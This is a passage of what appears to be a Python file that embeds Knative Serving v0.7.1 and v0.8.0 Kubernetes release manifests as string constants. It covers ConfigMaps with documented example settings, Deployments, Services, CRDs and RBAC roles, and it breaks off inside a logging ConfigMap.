configuration. # Default value for domain. # Although it will match all routes, it is the least-specific rule so it # will only be used if no other domain matches. example.com: | # These are example settings of domain. # example.org will be used for routes having app=nonprofit. example.org: | selector: app: nonprofit # Routes having domain suffix of 'svc.cluster.local' will not be exposed # through Ingress. You can define your own label selector to assign that # domain suffix to your Route here, or you can set the label # "serving.knative.dev/visibility=cluster-local" # to achieve the same effect. This shows how to make routes having # the label app=secret only exposed to the local cluster. svc.cluster.local: | selector: app: secret kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-domain namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # Delay after revision creation before considering it for GC stale-revision-create-delay: "24h" # Duration since a route has been pointed at a revision before it should be GC'd # This minus lastpinned-debounce be longer than the controller resync period (10 hours) stale-revision-timeout: "15h" # Minimum number of generations of revisions to keep before considering for GC stale-revision-minimum-generations: "1" # To avoid constant updates, we allow an existing annotation to be stale by this # amount before we update the timestamp stale-revision-lastpinned-debounce: "5h" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-gc namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # Common configuration for all Knative codebase zap-logger-config: | { "level": "info", "development": false, "outputPaths": ["stdout"], "errorOutputPaths": ["stderr"], "encoding": "json", "encoderConfig": { "timeKey": "ts", "levelKey": "level", "nameKey": "logger", "callerKey": "caller", "messageKey": "msg", "stacktraceKey": "stacktrace", "lineEnding": "", "levelEncoder": "", "timeEncoder": "iso8601", "durationEncoder": "", "callerEncoder": "" } } # Log level overrides # For all components except the autoscaler and queue proxy, # changes are be picked up immediately. # For autoscaler and queue proxy, changes require recreation of the pods. loglevel.controller: "info" loglevel.autoscaler: "info" loglevel.queueproxy: "info" loglevel.webhook: "info" loglevel.activator: "info" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-logging namespace: knative-serving --- apiVersion: v1 data: clusteringress.class: "ambassador.ingress.networking.knative.dev" # domainTemplate specifies the golang text template string to use # when constructing the Knative service's DNS name. The default # value is "{{.Name}}.{{.Namespace}}.{{.Domain}}". And those three # values (Name, Namespace, Domain) are the only variables defined. # # Changing this value might be necessary when the extra levels in # the domain name generated is problematic for wildcard certificates # that only support a single level of domain name added to the # certificate's domain. In those cases you might consider using a value # of "{{.Name}}-{{.Namespace}}.{{.Domain}}", or removing the Namespace # entirely from the template. When choosing a new value be thoughtful # of the potential for conflicts - for example, when users choose to use # characters such as `-` in their service, or namespace, names. # {{.Annotations}} can be used for any customization in the go template if needed. # We strongly recommend keeping namespace part of the template to avoid domain name clashes # Example '{{.Name}}-{{.Namespace}}.{{ index .Annotations "sub"}}.{{.Domain}}' # and you have an annotation {"sub":"foo"}, then the generated template would be {Name}-{Namespace}.foo.{Domain} domainTemplate: "{{.Name}}.{{.Namespace}}.{{.Domain}}" # tagTemplate specifies the golang text template string to use # when constructing the DNS name for "tags" within the traffic blocks # of Routes and Configuration. This is used in conjunction with the # domainTemplate above to determine the full URL for the tag. tagTemplate: "{{.Name}}-{{.Tag}}" # Controls whether TLS certificates are automatically provisioned and # installed in the Knative ingress to terminate external TLS connection. # 1. Enabled: enabling auto-TLS feature. # 2. Disabled: disabling auto-TLS feature. autoTLS: "Disabled" # Controls the behavior of the HTTP endpoint for the Knative ingress. # It requires autoTLS to be enabled. # 1. Enabled: The Knative ingress will be able to serve HTTP connection. # 2. Disabled: The Knative ingress ter will reject HTTP traffic. # 3. Redirected: The Knative ingress will send a 302 redirect for all # http connections, asking the clients to use HTTPS httpProtocol: "Enabled" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-network namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # logging.enable-var-log-collection defaults to false. # The fluentd daemon set will be set up to collect /var/log if # this flag is true. logging.enable-var-log-collection: false # logging.revision-url-template provides a template to use for producing the # logging URL that is injected into the status of each Revision. # This value is what you might use the the Knative monitoring bundle, and provides # access to Kibana after setting up kubectl proxy. logging.revision-url-template: | http://localhost:8001/api/v1/namespaces/knative-monitoring/services/kibana-logging/proxy/app/kibana#/discover?_a=(query:(match:(kubernetes.labels.knative-dev%2FrevisionUID:(query:'${REVISION_UID}',type:phrase)))) # If non-empty, this enables queue proxy writing request logs to stdout. # The value determines the shape of the request logs and it must be a valid go text/template. # It is important to keep this as a single line. Multiple lines are parsed as separate entities # by most collection agents and will split the request logs into multiple records. # # The following fields and functions are available to the template: # # Request: An http.Request (see https://golang.org/pkg/net/http/#Request) # representing an HTTP request received by the server. # # Response: # struct { # Code int // HTTP status code (see https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml) # Size int // An int representing the size of the response. # Latency float64 // A float64 representing the latency of the response in seconds. # } # # Revision: # struct { # Name string // Knative revision name # Namespace string // Knative revision namespace # Service string // Knative service name # Configuration string // Knative configuration name # PodName string // Name of the pod hosting the revision # PodIP string // IP of the pod hosting the revision # } # logging.request-log-template: '{"httpRequest": {"requestMethod": "{{.Request.Method}}", "requestUrl": "{{js .Request.RequestURI}}", "requestSize": "{{.Request.ContentLength}}", "status": {{.Response.Code}}, "responseSize": "{{.Response.Size}}", "userAgent": "{{js .Request.UserAgent}}", "remoteIp": "{{js .Request.RemoteAddr}}", "serverIp": "{{.Revision.PodIP}}", "referer": "{{js .Request.Referer}}", "latency": "{{.Response.Latency}}s", "protocol": "{{.Request.Proto}}"}, "traceId": "{{index .Request.Header "X-B3-Traceid"}}"}' # metrics.backend-destination field specifies the system metrics destination. # It supports either prometheus (the default) or stackdriver. # Note: Using stackdriver will incur additional charges metrics.backend-destination: prometheus # metrics.request-metrics-backend-destination specifies the request metrics # destination. If non-empty, it enables queue proxy to send request metrics. # Currently supported values: prometheus, stackdriver. metrics.request-metrics-backend-destination: prometheus # metrics.stackdriver-project-id field specifies the stackdriver project ID. This # field is optional. When running on GCE, application default credentials will be # used if this field is not provided. metrics.stackdriver-project-id: "<your stackdriver project id>" # metrics.allow-stackdriver-custom-metrics indicates whether it is allowed to send metrics to # Stackdriver using "global" resource type and custom metric type if the # metrics are not supported by "knative_revision" resource type. Setting this # flag to "true" could cause extra Stackdriver charge. # If metrics.backend-destination is not Stackdriver, this is ignored. metrics.allow-stackdriver-custom-metrics: "false" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-observability namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # # If true we enable adding spans within our applications. enable: "false" # URL to zipkin collector where traces are sent. zipkin-endpoint: "http://zipkin.istio-system.svc.cluster.local:9411/api/v2/spans" # Enable zipkin debug mode. This allows all spans to be sent to the server # bypassing sampling. debug: "false" # Percentage (0-1) of requests to trace sample-rate: "0.1" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.7.1" name: config-tracing namespace: knative-serving --- apiVersion: apps/v1 kind: Deployment metadata: labels: serving.knative.dev/release: "v0.7.1" name: controller namespace: knative-serving spec: replicas: 1 selector: matchLabels: app: controller template: metadata: labels: app: controller serving.knative.dev/release: "v0.7.1" spec: containers: - env: - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/github.com/knative/serving/cmd/controller@sha256:36e48772b4a38d4790c4b72d3e05c5552b3b083709ba6bf3f355af0c4ebb216a name: controller ports: - containerPort: 9090 name: metrics resources: limits: cpu: 1000m memory: 1000Mi requests: cpu: 100m memory: 100Mi securityContext: allowPrivilegeEscalation: false volumeMounts: - mountPath: /etc/config-logging name: config-logging serviceAccountName: controller volumes: - configMap: name: config-logging name: config-logging --- apiVersion: apiregistration.k8s.io/v1beta1 kind: APIService metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.7.1" name: v1beta1.custom.metrics.k8s.io spec: group: custom.metrics.k8s.io groupPriorityMinimum: 100 insecureSkipTLSVerify: true service: name: autoscaler namespace: knative-serving version: v1beta1 versionPriority: 100 --- apiVersion: apps/v1 kind: Deployment metadata: labels: networking.knative.dev/certificate-provider: cert-manager serving.knative.dev/release: "v0.7.1" name: networking-certmanager namespace: knative-serving spec: replicas: 1 selector: matchLabels: app: networking-certmanager template: metadata: labels: app: networking-certmanager spec: containers: - env: - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/github.com/knative/serving/cmd/networking/certmanager@sha256:0868e623602dfa736092baf15c71930dff67a5eec0d89a689496525b32bdad08 name: networking-certmanager ports: - containerPort: 9090 name: metrics resources: limits: cpu: 1000m memory: 1000Mi requests: cpu: 100m memory: 100Mi securityContext: allowPrivilegeEscalation: false volumeMounts: - mountPath: /etc/config-logging name: config-logging serviceAccountName: controller volumes: - configMap: name: config-logging name: config-logging --- apiVersion: apps/v1 kind: Deployment metadata: labels: serving.knative.dev/release: "v0.7.1" name: webhook namespace: knative-serving spec: replicas: 1 selector: matchLabels: app: webhook role: webhook template: metadata: annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" sidecar.istio.io/inject: "false" labels: app: webhook role: webhook serving.knative.dev/release: "v0.7.1" spec: containers: - env: - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging image: gcr.io/knative-releases/github.com/knative/serving/cmd/webhook@sha256:76e726d1f3f015623513224c3787793f0e71294f8df9e6dca46dc92f31bec1c3 name: webhook resources: limits: cpu: 200m memory: 200Mi requests: cpu: 20m memory: 20Mi securityContext: allowPrivilegeEscalation: false volumeMounts: - mountPath: /etc/config-logging name: config-logging serviceAccountName: controller volumes: - configMap: name: config-logging name: config-logging """ KNATIVE_SERVING_080 = """ --- apiVersion: v1 kind: Namespace metadata: labels: serving.knative.dev/release: "v0.8.0" name: knative-serving --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.8.0" name: custom-metrics-server-resources rules: - apiGroups: - custom.metrics.k8s.io resources: - '*' verbs: - '*' --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: rbac.authorization.k8s.io/aggregate-to-admin: "true" serving.knative.dev/release: "v0.8.0" name: knative-serving-namespaced-admin rules: - apiGroups: - serving.knative.dev - networking.internal.knative.dev - autoscaling.internal.knative.dev resources: - '*' verbs: - '*' --- aggregationRule: clusterRoleSelectors: - matchLabels: serving.knative.dev/controller: "true" apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: serving.knative.dev/release: "v0.8.0" name: knative-serving-admin rules: [] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: serving.knative.dev/controller: "true" serving.knative.dev/release: "v0.8.0" name: knative-serving-core rules: - apiGroups: - "" resources: - pods - namespaces - secrets - configmaps - endpoints - services - events - serviceaccounts verbs: - get - list - create - update - delete - patch - watch - apiGroups: - "" resources: - endpoints/restricted verbs: - create - apiGroups: - apps resources: - deployments - deployments/finalizers verbs: - get - list - create - update - delete - patch - watch - apiGroups: - admissionregistration.k8s.io resources: - mutatingwebhookconfigurations verbs: - get - list - create - update - delete - patch - watch - apiGroups: - apiextensions.k8s.io resources: - customresourcedefinitions verbs: - get - list - create - update - delete - patch - watch - apiGroups: - autoscaling resources: - horizontalpodautoscalers verbs: - get - list - create - update - delete - patch - watch - apiGroups: - serving.knative.dev - autoscaling.internal.knative.dev - networking.internal.knative.dev resources: - '*' - '*/status' - '*/finalizers' verbs: - get - list - create - update - delete - deletecollection - patch - watch - apiGroups: - caching.internal.knative.dev resources: - images verbs: - get - list - create - update - delete - patch - watch --- apiVersion: v1 kind: ServiceAccount metadata: labels: serving.knative.dev/release: "v0.8.0" name: controller namespace: knative-serving --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.8.0" name: custom-metrics:system:auth-delegator roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: system:auth-delegator subjects: - kind: ServiceAccount name: controller namespace: knative-serving --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.8.0" name: hpa-controller-custom-metrics roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: custom-metrics-server-resources subjects: - kind: ServiceAccount name: horizontal-pod-autoscaler namespace: kube-system --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: labels: serving.knative.dev/release: "v0.8.0" name: knative-serving-controller-admin roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: knative-serving-admin subjects: - kind: ServiceAccount name: controller namespace: knative-serving --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: labels: autoscaling.knative.dev/metric-provider: custom-metrics serving.knative.dev/release: "v0.8.0" name: custom-metrics-auth-reader namespace: kube-system roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: extension-apiserver-authentication-reader subjects: - kind: ServiceAccount name: controller namespace: knative-serving --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: certificates.networking.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=="Ready")].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=="Ready")].reason name: Reason type: string group: networking.internal.knative.dev names: categories: - knative-internal - networking kind: Certificate plural: certificates shortNames: - kcert singular: certificate scope: Namespaced subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: clusteringresses.networking.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: networking.internal.knative.dev names: categories: - knative-internal - networking kind: ClusterIngress plural: clusteringresses singular: clusteringress scope: Cluster subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" name: images.caching.internal.knative.dev spec: group: caching.internal.knative.dev names: categories: - knative-internal - caching kind: Image plural: images shortNames: - img singular: image scope: Namespaced subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: ingresses.networking.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: networking.internal.knative.dev names: categories: - knative-internal - networking kind: Ingress plural: ingresses shortNames: - ing singular: ingress scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: metrics.autoscaling.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: autoscaling.internal.knative.dev names: categories: - knative-internal - autoscaling kind: Metric plural: metrics singular: metric scope: Namespaced subresources: status: {} version: v1alpha1 --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: podautoscalers.autoscaling.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: autoscaling.internal.knative.dev names: categories: - knative-internal - autoscaling kind: PodAutoscaler plural: podautoscalers shortNames: - kpa - pa singular: podautoscaler scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: apiextensions.k8s.io/v1beta1 kind: CustomResourceDefinition metadata: labels: knative.dev/crd-install: "true" serving.knative.dev/release: "v0.8.0" name: serverlessservices.networking.internal.knative.dev spec: additionalPrinterColumns: - JSONPath: .spec.mode name: Mode type: string - JSONPath: .status.serviceName name: ServiceName type: string - JSONPath: .status.privateServiceName name: PrivateServiceName type: string - JSONPath: .status.conditions[?(@.type=='Ready')].status name: Ready type: string - JSONPath: .status.conditions[?(@.type=='Ready')].reason name: Reason type: string group: networking.internal.knative.dev names: categories: - knative-internal - networking kind: ServerlessService plural: serverlessservices shortNames: - sks singular: serverlessservice scope: Namespaced subresources: status: {} versions: - name: v1alpha1 served: true storage: true --- apiVersion: v1 kind: Service metadata: labels: app: activator serving.knative.dev/release: "v0.8.0" name: activator-service namespace: knative-serving spec: ports: - name: http port: 80 protocol: TCP targetPort: 8012 - name: http2 port: 81 protocol: TCP targetPort: 8013 - name: metrics port: 9090 protocol: TCP targetPort: 9090 selector: app: activator type: ClusterIP --- apiVersion: v1 kind: Service metadata: labels: app: controller serving.knative.dev/release: "v0.8.0" name: controller namespace: knative-serving spec: ports: - name: metrics port: 9090 protocol: TCP targetPort: 9090 selector: app: controller --- apiVersion: v1 kind: Service metadata: labels: role: webhook serving.knative.dev/release: "v0.8.0" name: webhook namespace: knative-serving spec: ports: - port: 443 targetPort: 8443 selector: role: webhook --- apiVersion: caching.internal.knative.dev/v1alpha1 kind: Image metadata: labels: serving.knative.dev/release: "v0.8.0" name: queue-proxy namespace: knative-serving spec: image: gcr.io/knative-releases/knative.dev/serving/cmd/queue@sha256:e0654305370cf3bbbd0f56f97789c92cf5215f752b70902eba5d5fc0e88c5aca --- apiVersion: apps/v1 kind: Deployment metadata: labels: serving.knative.dev/release: "v0.8.0" name: activator namespace: knative-serving spec: selector: matchLabels: app: activator role: activator template: metadata: annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" labels: app: activator role: activator serving.knative.dev/release: "v0.8.0" spec: containers: - args: - -logtostderr=false - -stderrthreshold=FATAL env: - name: POD_NAME valueFrom: fieldRef: fieldPath: metadata.name - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/knative.dev/serving/cmd/activator@sha256:88d864eb3c47881cf7ac058479d1c735cc3cf4f07a11aad0621cd36dcd9ae3c6 livenessProbe: httpGet: httpHeaders: - name: k-kubelet-probe value: activator path: /healthz port: 8012 name: activator ports: - containerPort: 8012 name: http1-port - containerPort: 8013 name: h2c-port - containerPort: 9090 name: metrics-port readinessProbe: httpGet: httpHeaders: - name: k-kubelet-probe value: activator path: /healthz port: 8012 resources: limits: cpu: 1000m memory: 600Mi requests: cpu: 300m memory: 60Mi securityContext: allowPrivilegeEscalation: false serviceAccountName: controller terminationGracePeriodSeconds: 300 --- apiVersion: autoscaling/v2beta1 kind: HorizontalPodAutoscaler metadata: name: activator namespace: knative-serving spec: maxReplicas: 20 metrics: - resource: name: cpu targetAverageUtilization: 100 type: Resource minReplicas: 1 scaleTargetRef: apiVersion: apps/v1 kind: Deployment name: activator --- apiVersion: apps/v1 kind: Deployment metadata: labels: autoscaling.knative.dev/autoscaler-provider: hpa serving.knative.dev/release: "v0.8.0" name: autoscaler-hpa namespace: knative-serving spec: replicas: 1 selector: matchLabels: app: autoscaler-hpa template: metadata: labels: app: autoscaler-hpa serving.knative.dev/release: "v0.8.0" spec: containers: - env: - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/knative.dev/serving/cmd/autoscaler-hpa@sha256:a7801c3cf4edecfa51b7bd2068f97941f6714f7922cb4806245377c2b336b723 name: autoscaler-hpa ports: - containerPort: 9090 name: metrics resources: limits: cpu: 1000m memory: 1000Mi requests: cpu: 100m memory: 100Mi securityContext: allowPrivilegeEscalation: false serviceAccountName: controller --- apiVersion: v1 kind: Service metadata: labels: app: autoscaler serving.knative.dev/release: "v0.8.0" name: autoscaler namespace: knative-serving spec: ports: - name: http port: 8080 protocol: TCP targetPort: 8080 - name: metrics port: 9090 protocol: TCP targetPort: 9090 - name: custom-metrics port: 443 protocol: TCP targetPort: 8443 selector: app: autoscaler --- apiVersion: apps/v1 kind: Deployment metadata: labels: serving.knative.dev/release: "v0.8.0" name: autoscaler namespace: knative-serving spec: replicas: 1 selector: matchLabels: app: autoscaler template: metadata: annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" labels: app: autoscaler serving.knative.dev/release: "v0.8.0" spec: containers: - args: - --secure-port=8443 - --cert-dir=/tmp env: - name: SYSTEM_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace - name: CONFIG_LOGGING_NAME value: config-logging - name: CONFIG_OBSERVABILITY_NAME value: config-observability - name: METRICS_DOMAIN value: knative.dev/serving image: gcr.io/knative-releases/knative.dev/serving/cmd/autoscaler@sha256:aeaacec4feedee309293ac21da13e71a05a2ad84b1d5fcc01ffecfa6cfbb2870 livenessProbe: httpGet: httpHeaders: - name: k-kubelet-probe value: autoscaler path: /healthz port: 8080 name: autoscaler ports: - containerPort: 8080 name: websocket - containerPort: 9090 name: metrics - containerPort: 8443 name: custom-metrics readinessProbe: httpGet: httpHeaders: - name: k-kubelet-probe value: autoscaler path: /healthz port: 8080 resources: limits: cpu: 300m memory: 400Mi requests: cpu: 30m memory: 40Mi securityContext: allowPrivilegeEscalation: false serviceAccountName: controller --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # The Revision ContainerConcurrency field specifies the maximum number # of requests the Container can handle at once. Container concurrency # target percentage is how much of that maximum to use in a stable # state. E.g. if a Revision specifies ContainerConcurrency of 10, then # the Autoscaler will try to maintain 7 concurrent connections per pod # on average. # Note: this limit will be applied to container concurrency set at every # level (ConfigMap, Revision Spec or Annotation). # For legacy and backwards compatibility reasons, this value also accepts # fractional values in (0, 1] interval (i.e. 0.7 ⇒ 70%). # Thus minimal percentage value must be greater than 1.0, or it will be # treated as a fraction. container-concurrency-target-percentage: "70" # The container concurrency target default is what the Autoscaler will # try to maintain when the Revision specifies unlimited concurrency. # Even when specifying unlimited concurrency, the autoscaler will # horizontally scale the application based on this target concurrency. container-concurrency-target-default: "100" # The target burst capacity specifies the size of burst in concurrent # requests that the system operator expects the system will receive. # Autoscaler will try to protect the system from queueing by introducing # Activator in the request path if the current spare capacity of the # service is less than this setting. # If this setting is 0, then Activator will be in the request path only # when the revision is scaled to 0. # If this setting is > 0 and container-concurrency-target-percentage is # 100% or 1.0, then activator will always be in the request path. # -1 denotes unlimited target-burst-capacity and activator will always # be in the request path. # Other negative values are invalid. target-burst-capacity: "0" # When operating in a stable mode, the autoscaler operates on the # average concurrency over the stable window. stable-window: "60s" # When observed average concurrency during the panic window reaches # panic-threshold-percentage the target concurrency, the autoscaler # enters panic mode. When operating in panic mode, the autoscaler # scales on the average concurrency over the panic window which is # panic-window-percentage of the stable-window. panic-window-percentage: "10.0" # Absolute panic window duration. # Deprecated in favor of panic-window-percentage. # Existing revisions will continue to scale based on panic-window # but new revisions will default to panic-window-percentage. panic-window: "6s" # The percentage of the container concurrency target at which to # enter panic mode when reached within the panic window. panic-threshold-percentage: "200.0" # Max scale up rate limits the rate at which the autoscaler will # increase pod count. It is the maximum ratio of desired pods versus # observed pods. max-scale-up-rate: "1000.0" # Scale to zero feature flag enable-scale-to-zero: "true" # Tick interval is the time between autoscaling calculations. tick-interval: "2s" # Dynamic parameters (take effect when config map is updated): # Scale to zero grace period is the time an inactive revision is left # running before it is scaled to zero (min: 30s). scale-to-zero-grace-period: "30s" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-autoscaler namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # revision-timeout-seconds contains the default number of # seconds to use for the revision's per-request timeout, if # none is specified. revision-timeout-seconds: "300" # 5 minutes # max-revision-timeout-seconds contains the maximum number of # seconds that can be used for revision-timeout-seconds. # This value must be greater than or equal to revision-timeout-seconds. # If omitted, the system default is used (600 seconds). max-revision-timeout-seconds: "600" # 10 minutes # revision-cpu-request contains the cpu allocation to assign # to revisions by default. If omitted, no value is specified # and the system default is used. revision-cpu-request: "400m" # 0.4 of a CPU (aka 400 milli-CPU) # revision-memory-request contains the memory allocation to assign # to revisions by default. If omitted, no value is specified # and the system default is used. revision-memory-request: "100M" # 100 megabytes of memory # revision-cpu-limit contains the cpu allocation to limit # revisions to by default. If omitted, no value is specified # and the system default is used. revision-cpu-limit: "1000m" # 1 CPU (aka 1000 milli-CPU) # revision-memory-limit contains the memory allocation to limit # revisions to by default. If omitted, no value is specified # and the system default is used. revision-memory-limit: "200M" # 200 megabytes of memory # container-name-template contains a template for the default # container name, if none is specified. This field supports # Go templating and is supplied with the ObjectMeta of the # enclosing Service or Configuration, so values such as # {{.Name}} are also valid. container-name-template: "user-container" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-defaults namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # List of repositories for which tag to digest resolving should be skipped registriesSkippingTagResolving: "ko.local,dev.local" queueSidecarImage: gcr.io/knative-releases/knative.dev/serving/cmd/queue@sha256:e0654305370cf3bbbd0f56f97789c92cf5215f752b70902eba5d5fc0e88c5aca kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-deployment namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # Default value for domain. # Although it will match all routes, it is the least-specific rule so it # will only be used if no other domain matches. example.com: | # These are example settings of domain. # example.org will be used for routes having app=nonprofit. example.org: | selector: app: nonprofit # Routes having domain suffix of 'svc.cluster.local' will not be exposed # through Ingress. You can define your own label selector to assign that # domain suffix to your Route here, or you can set the label # "serving.knative.dev/visibility=cluster-local" # to achieve the same effect. This shows how to make routes having # the label app=secret only exposed to the local cluster. svc.cluster.local: | selector: app: secret kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-domain namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # Delay after revision creation before considering it for GC stale-revision-create-delay: "24h" # Duration since a route has been pointed at a revision before it should be GC'd # This minus lastpinned-debounce be longer than the controller resync period (10 hours) stale-revision-timeout: "15h" # Minimum number of generations of revisions to keep before considering for GC stale-revision-minimum-generations: "1" # To avoid constant updates, we allow an existing annotation to be stale by this # amount before we update the timestamp stale-revision-lastpinned-debounce: "5h" kind: ConfigMap metadata: labels: serving.knative.dev/release: "v0.8.0" name: config-gc namespace: knative-serving --- apiVersion: v1 data: _example: | ################################ # # # EXAMPLE CONFIGURATION # # # ################################ # This block is not actually functional configuration, # but serves to illustrate the available configuration # options and document them in a way that is accessible # to users that `kubectl edit` this config map. # # These sample configuration options may be copied out of # this example block and unindented to be in the data block # to actually change the configuration. # Common configuration for all Knative codebase zap-logger-config: | { "level": "info", "development": false, "outputPaths": ["stdout"], "errorOutputPaths": ["stderr"], "encoding": "json", "encoderConfig": { 